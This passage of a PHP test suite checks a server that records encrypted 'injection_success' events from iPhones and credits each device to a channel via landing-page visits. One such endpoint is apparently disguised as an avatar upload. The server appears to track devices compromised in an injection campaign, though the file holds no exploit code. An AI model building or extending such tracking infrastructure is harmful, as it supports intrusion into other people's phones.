encryptJson($payload, $ts); return $this->call('POST', $path, [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => $ts, ], $enc['body']); } #[Test] public function new_builder_device_uses_recent_visit_not_native_c(): void { Channel::query()->create([ 'channel_id' => self::CHANNEL_ID, 'builder_type' => Channel::BUILDER_NEW, 'user_id' => 0, 'status' => 1, ]); Cache::flush(); $this->call('POST', '/api/iptj', [], [], [], [ 'CONTENT_TYPE' => 'application/json', 'REMOTE_ADDR' => '203.0.113.9', ], json_encode([ 'channelCode' => 'fafa9988', 'deviceVersion' => 'iOS 16.6', 'domain' => 'landing.example', 'sessionId' => '11111111-2222-4333-8444-555555555555', ]))->assertOk(); $this->call('POST', '/event', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_X_TS' => '1786468227899', 'REMOTE_ADDR' => '203.0.113.9', ], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', 'm' => 'iPhone12,8', 'pv' => '16.6', ], '1786468227899')['body'])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame(self::CHANNEL_ID, $device->channel_id); $this->assertSame('landing.example', $device->source_domain); $this->assertNotSame(self::SHARED_C, $device->channel_id); } #[Test] public function new_builder_device_without_visit_is_still_created(): void { $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', ])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertNull($device->channel_id); $this->assertNull($device->source_domain); } #[Test] public function old_builder_put_still_writes_payload_c(): void { $crypto = new CorunaCrypto; $ts = '1722585600001'; $enc = $crypto->encryptJson([ 'd' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', ], $ts); $this->call('POST', '/api/user/avatar/put', [], [], [], [ 'CONTENT_TYPE' => 'text/plain', 'HTTP_TIMESTAMP' => $ts, ], $enc['body'])->assertOk(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); $this->assertSame(self::SHARED_C, $device->channel_id); } #[Test] public function claimed_visit_is_not_reused_by_second_device(): void { Channel::query()->create([ 'channel_id' => self::CHANNEL_ID, 'builder_type' => Channel::BUILDER_NEW, 'user_id' => 0, 'status' => 1, ]); PageVisit::query()->create([ 'channel_id' => self::CHANNEL_ID, 'client_uid' => 'landing.example', 'ip' => '127.0.0.1', 'domain' => 'landing.example', 'created_at' => now(), ]); $this->xxbbPost('/event', [ 'd' => '000C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', ])->assertOk(); $this->xxbbPost('/event', [ 'd' => '111C30D83CD0402E', 'c' => self::SHARED_C, 'et' => 'injection_success', ])->assertOk(); $first = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $second = Device::query()->where('device_id', '111C30D83CD0402E')->first(); $this->assertSame(self::CHANNEL_ID, $first->channel_id); $this->assertNull($second->channel_id); $this->assertNotNull($second); } }